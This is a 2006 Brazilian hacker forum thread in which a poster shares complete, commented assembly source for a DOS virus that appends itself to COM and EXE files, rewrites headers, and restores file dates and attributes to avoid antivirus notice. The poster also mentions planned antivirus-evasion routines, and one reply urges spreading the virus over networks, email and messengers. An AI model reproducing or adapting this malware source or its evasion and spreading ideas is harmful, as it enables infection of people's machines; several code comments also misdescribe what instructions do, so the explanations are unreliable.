FORUM DARKERS

Tecnologia & Informática => Acervo Security Darkers => Tutoriais => Topic started by: Anonymous on 01 de April , 2006, 04:35:40 PM

Title: Aprendendo a Infectar COM & Exe Usando ASM
Post by: Anonymous on 01 de April , 2006, 04:35:40 PM
Aloha Darkers..

Mais uma vez eu aqui .. agora q eu voltei vou começar a postar pra caramba pelo menos ate eu atingir meu objetivo ..

bom galera .. hj minha perfomace será como infectar COM & Exe Só q usem com cuidado cambada
que a fita é forte é uma rotina codada por min .. mais q vai interessar mta gente eu espero ne :|

Antes de Tudo Galera

Vou Usar Assembly então se preparem para estudar muito pois asm é bem treta
e nada faz sentido ate q voce tenha base por isso peço q nao fiquem me questionando , incrementem ai sim :) completem conteudo agora ficar me perguntando coisas basicas igual todo dia ocorre no msn não ne galera

para começar gostaria de dizer umas palavras  Vou dar uma breve explanação sobre o vírus e tudo mais , se bem que isso meio inútil pois o vírus ta ai  e só alegria !

Quero agradecer a toda a galera que um dia já fez um vírus Bom quero também descer o cacete na galera que acha que não existem bons vírus nacionais , quer exemplos , só 2 bastam , os 2 brasileiros mais
conhecidos : Leandro & Kelly e o (Del)ta .
 
Ah outra coisa que a galera curte só os geradores de vírus (coisa de lamah ), tudo bem concordo 100% , mas existem rotinas que os geradores desenvolvem que são show .. por isso aconselharia estudar as rotinas

geradas e não somente "gerar" o vírus em 3 segundos e Mandar pro seu Coleguinha isso não é ser fuçador isso é usar .. apenas e não entender

Esse meu vírus é 100% brasileiro ! Algumas rotinas , alguns "Despistadores de
flags" (tanto de rotinas de desvio heuristico de anti-virus ) , e alguns endereços de memória não
são meus , só os implementei para minha tecnica

A confecão de um vírus não é uma tarefa fácil esse que segue abaixo demorou um bom tempo pra ficar pronto tipo uns meses (5) e olha que é um vírus fraquinho !

Bom ele ainda falta rotina de encriptar ele para q não seja pego por Kaspersky e Nods da vida que usam o sistema ( driver ) para achar o arquivo .. ah estou tentando desenvolver uma rotina para verificar
a memoria completamente e ver se há algum anti-virus carregado se tiver ele vai pular o endereço e o anti-virus não vai saber da presença, infelizmente ainda não ta pronto

     O vírus esta com os comentários em português  sempre fico fud!#!@#@! quando pego
um fonte , que não tem comentários , seja lá do que for ou em que linguagem bom pessoal agora q eu já disse o que penso vamos ao código

Boa Diversão !!!


;=========================================
; * Notas sobre o vírus :
; - Infecta COM e EXE (verifica tamanho de COM)
; - Sem malefécios , sem data de ativação , sem destruição .
; * Ah , os fontes são unicamente para fins educativos !
; * Nome ... ?? Humm não sei ... Dêem Nomes vocês...
; * Programador - Ricardo Silva de Barros
;=========================================

;Código:

Virus   segment byte public
assume  cs: Virus

org     100h    ; O vírus vai pegar .COM
id   =  'GR'      ; ID dos "EXE" Infectados

Inicio:
       
       mov      Infeccoes, 0  ; Limpa o contador das infeccoes = 0
       call        proximo        ; Pula para rotina Proximo Abaixo..

Proximo: 
       
       nop                         ; Ha,ha ,Só um charme ! 
     
       pop    bp                 ; Aloca os Ponteiro para endereço de Mémoria
       
       sub    bp, offset Proximo

       push    cs
       push    cs
       pop     ds
       pop     es
     
       ; Rotina Acima Limpa a Pilha :)

       mov     ah, 47h  ; Movimenta para a Interrupção de Bios 47h ( Interrupção de manipulação de Arquivos )
       xor       dl, dl     ; Encripta o Movimento
 
       lea      si, [bp+offset Dir_origem+1] ; Salva o diretório de origem
       int     21h

       push    es            ; Novo DTA ( Data do Executavel ou Seja guarda quantos Exe/Com tem na Pasta )
       push    ds
       mov     ah, 1Ah
       lea     dx, [bp+offset NovoDTA]
       int     21h

       lea     di, [bp+offset origCSIP2]  ; Para salvar os EXE
       lea     si, [bp+offset origCSIP]
       mov     cx, 4
       rep     movsw
       mov     byte ptr [bp+Infeccoes], 0

traverse_loop:
       
       lea     dx, [bp+offset exe_spec]   ; Procurar arquivos EXE
       mov     ah, 4Eh
       call    Infectar
       
       lea     dx, [bp+offset com_spec]   ; Procurar arquivos COM
       mov     ah, 4Eh
       call    Infectar
       
       mov     ah, 3Bh       ; Cair para a Raiz (C:\>)
       lea     dx, [bp+offset Raiz]
       int     21h
       jnc     traverse_loop

Sai_traverse:
       
       lea     dx, [bp+offset Dir_origem] ; Voltar ao diretório original
       mov     ah, 3Bh

       int     21h
       pop     ds            ; Volta DTA
       pop     es
 
       mov     ah, 1Ah
       mov     dx, 80h
       int     21h
 
       cmp     sp, id        ; Compara é um EXE? se for
       jne     Infectar      ; então infecta !! :)

Restaurar_exe:                ; Restaurar EXE

       mov     ax, ds
       add     ax, 10h

       add     cs:[bp+word ptr origCSIP2+2], ax
       add     ax, cs:[bp+word ptr origSPSS2]
       cli

       mov     ss, ax
       mov     sp, cs:[bp+word ptr origSPSS2+2]
       sti

       db      00EAh         ; Pule para o código de origem e Entre dentro do EXE

origCSIP2        db      ?  ; Variavel de Endereço de Origem Com
origSPSS2       dd      ?  ; Variavel de Endereço de Origem Exe
origCSIP          db      ?  ; Variavel de Endereço de Origem Dir
origSPSS         dd      ?  ; Variavel de Endereço de Origem Disco Local

tres_bytes      db      0CDh, 20h, 0 ; Pula e Esconde dentro do Exe/Com

Restaurar_com:                ; Restaurar COM

        mov     di, 100h
        push    di
        lea     si, [bp+offset tres_bytes]

        movsw
        movsb

return: ret                   ; Volte para o código original

Infectar: ; Rotina de Infecção

        mov     cx, 7
        mov     ah, 4Eh       ; Encontrar o 1 arquivo
                             
Proximo_arq:

        int     21h
        jc      return

        lea     dx, [bp+NovoDTA+30]        ; Ver os attributos do arquivo
        mov     ax, 4300h                        ; "attrib" do DOS manja ? hahaha
        int     21h
        jc      return
        push    cx                                   
       
        ; Salva os atributos ( depois restaura para Anti-Virus não Desconfiarem )
       
        push    dx

        mov     ax, 4300h     ; Limpar os atributos ("+R" não consigo alterar)
        inc       al
        push    ax
       
        xor     cx, cx
        int     21h

        mov     ax, 3D02h     ; Abrir aquivo para ler/alterar
        lea     dx, [bp+NovoDTA+30]
        int     21h
        xchg    ax, bx

        mov     ax, 5700h     ; Ver a data e o horário do arquivo
        int     21h
        push    cx                ; Salvar data e hora
        push    dx

        mov     ah, 3Fh
        mov     cx, 1Ah       ; Lendo o arquivo
        lea     dx, [bp+offset leiabuffer]
        int     21h

        mov     ax, 4202h     ; Indo com o ponteiro para o fim do arquivo
        xor     cx, cx
        cwd
        int     21h

        mov     cx, word ptr [bp+offset leiabuffer+1]
        add     cx, Pilha-Inicio+3          ; CX = Tamanho do arquivo
        cmp     ax, cx
        jz      Ja_infectado  ; Já esta infectado ?

        cmp     ax, 65535-(Fim_da_Pilha-Inicio) ; Vai dar estouro de divisão ?
                                            ; (o COM vai ficar muito grande ?)
        ja      Ja_infectado

        lea     di, [bp+offset tres_bytes]  ; Salve os 3 primeiro bytes
        lea     si, [bp+offset leiabuffer]
        movsb
        movsw

        mov     cx, 3                       ; Código para o v?rus
        sub     ax, cx
        mov     word ptr [bp+offset leiabuffer+1], ax
        mov     dl, 0E9h
        mov     byte ptr [bp+offset leiabuffer], dl
        jmp     short continue_Infectar

checkexe:

        cmp     word ptr [bp+offset leiabuffer+10h], id
        jnz     Vacilada     ; Não esta infectado, não vacila, Infecte !!! :)

Ja_infectado:

        jmp     Fechar        ; Já Infectado . Feche o arquivo .

Vacilada: 

        lea     di, [bp+origCSIP]
        lea     si, [bp+leiabuffer+14h]
        movsw                 ; Salvar CS e IP
        movsw

        sub     si, 0Ah       ; Salvar SS e SP
        movsw
        movsw

        push    bx            ; Nome do arquivo
        mov     bx, word ptr [bp+leiabuffer+8]  ; Tamanho do Header
 
        mov     cl, 4
        shl     bx, cl

        push    dx
        push    ax

        sub     ax, bx        ; Tamanho do arquivo - Tamanho do Header
        sbb     dx, 0

        mov     cx, 10h
        div     cx

        mov     word ptr [bp+leiabuffer+0Eh], ax ; SS
        mov     word ptr [bp+leiabuffer+10h], id ; SP
        mov     word ptr [bp+leiabuffer+14h], dx ; IP
        mov     word ptr [bp+leiabuffer+16h], ax ; CS

        pop     ax
        pop     dx

        add     ax, Pilha-Inicio
        adc     dx, 0

        mov     cl, 9
        push    ax
        shr     ax, cl
        ror     dx, cl
        stc
        adc     dx, ax
        pop     ax
        and     ah, 1

        mov     word ptr [bp+leiabuffer+2], ax
        mov     word ptr [bp+leiabuffer+4], dx  ; Fixando o Header

        pop     bx
        mov     cx, 1Ah

Continue_Infectar:

        mov     ah, 40h
        mov     cx, Pilha-Inicio            ; Insere o vírus no fim do arquivo
        lea     dx, [bp+offset Inicio]
        int     21h

        mov     ax, 4200h
        xor     cx, cx                      ; Colocar o ponteiro no começo do
                                               ; arquivo
        cwd
        int     21h

        mov     ah, 40h
        mov     cx, 1Ah                     ; Grava código do vírus

        lea     dx, [bp+offset leiabuffer]
        int     21h


        inc     [bp+Infeccoes]              ; Ja infectei quantos ? (?/3)

Fechar:

        mov     ax, 5700h     ; Voltar a data e hora original do arquivo
        inc     al
        pop     dx
        pop     cx
        int     21h

        mov     ah, 3Eh       ; Fechar o arquivo
        int     21h

        pop     ax            ; Restaurar os atributos
        pop     dx
        pop     cx
        int     21h

        cmp     [bp+Infeccoes], 3
        jae     Ate
        mov     ah, 4Fh       ; 3/3 infecões ? Não ? Infectar o proximo arq
        jmp     Proximo_arq

        mov     ah, 3Bh       ; Mudar o diretorio

        lea     dx, [bp+Dir_origem]         ; Restaurar o diretório
        int     21h           ; Mudar o diretório (Execução)

Ate:    ret


Raiz            db      '..',0

Pilha:
Dir_origem      db      64 dup (0)          ; Buffers
Infeccoes       db      ?                        ; Número de arquivos infectados
leiabuffer      db      1ah dup (?)

Fim_da_Pilha:

Virus   ends
        end Inicio


É isso ai galera Pow que trabalho comentar Tudo ( Hunf ) Mais então espero que gostem e Estudem :)

Adios...


Ricardo Silva de Barros
1/Abr/2006
16:35
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Anonymous on 01 de April , 2006, 04:43:49 PM
Não venho nessa porcaria de fórum cheio de lammer(venho raramente pra falar a verdade), mas não podia deixar de comentar sobre seu post ricardo, vlw ficou show demais!!!!!!!!!
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: TGA on 01 de April , 2006, 05:19:04 PM
TGA

Fala apoca... big brother..
Bom, ASM não é meu forte, mais tenho que confessar, tenho inveja de seu coders em ASM;
são raras as pessoas que conhecem sobre o assunto, e cada dia que passa vejo o que  seu
conhecimento só almenta, isso aew brother, parabens irmão, como sempre belos coders...

vlw...   abraços....
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Anonymous on 01 de April , 2006, 05:28:30 PM
Realmente,esse post arraso esta muito bom.
Acho que agora ele mereça um ponto por todo o trabalho que ele teve nesse post
Continua assim Ricardo,vc tem futuro brother

Bye...
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Anonymous on 01 de April , 2006, 07:02:41 PM
É isso aí Ricardo! Merece um ponto positivo e um beijo.  :-*
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Anonymous on 01 de April , 2006, 07:50:06 PM
Ricardo, só vou te lembrar uma coisa, virus para ser virus não nescesita de apenas infectar outros arquivos na máquina local, e sim ser capaz de se reproduzir para fora hoje digamos por meios não fisicos ao contrario da época do Leandro e kelly. Pense em espalhar ele através da lan, de e-mail, de messageiros e etc...

Olha seu nivel de ASM tá elevando a cada dia em filho! Tenho um projeto para discutir com você(4p0c4 não sinapse hehehe), breve te acho no msn.
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Fox on 01 de April , 2006, 11:25:04 PM
Puta merda....o cara e' fera mesmo... Voce vai longe se continuar assim...
Bom post ....
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: whit3_sh4rk on 02 de April , 2006, 12:18:38 PM
Bom, assembly e grego eh a mesma coisa pra mim, não entendo nada kkkk..
Mas me pareceu mto interessante o seu code, e da pra ver que vc tem um ótimo conhecimento em programação..

[]s
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Shady on 02 de April , 2006, 01:09:53 PM
Ai ai ai, tou vendo que tenho muuuito a estudar ^^ obrigado por mais esta fonte!
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: bloodrain on 02 de April , 2006, 03:23:36 PM
ta show mas na moral aumenta o tamnho da fonte
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Anonymous on 02 de April , 2006, 05:27:23 PM
Ricardo Brother
Muito Show cara
Parabens e continue assim mano 8)
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Cloudy on 03 de April , 2006, 12:07:37 PM
E ae ricardo, sei nadicas de ASM, mas mesmo assim não podia deixar de comentar aqui.

Parabéns mano, parabéns mesmo. Cada dia que passa vc se supera. E to esperando aquele trabalho que vc me falou no MSN, aquele lá vai ser detonador mano!

Flw

Obs: Salvo num txt, quem sabe, quando eu começar a estudar ASM eu não volto pra ler.

...by Cloudy
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: bloodrain on 03 de April , 2006, 03:54:48 PM
QuoteNão venho nessa porcaria de fórum cheio de lammer(venho raramente pra falar a verdade), mas não podia deixar de comentar sobre seu post ricardo, vlw ficou show demais!!!!!!!!!

aaaaaa na moral ja tomei advertencias cartoes reclamaçoes e etc por mto menos que isso acho que merecia uma puniçao  :-[
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Anonymous on 04 de April , 2006, 01:46:43 PM
Muito Bom Ricardo!!!!!!

Assim como a maioria do pessoal, não sei nadinha de ASM, mas seus post e vários outros cada vez mais nos incentivam.

Show de Post!!

Abração,

Haxnetwork
Title: Re: [Tutorial] - Aprendendo a Infectar COM & Exe Usando ASM haha :)
Post by: Shady on 30 de April , 2006, 12:50:34 AM
Este usuario ja foi banido, assim que postou :)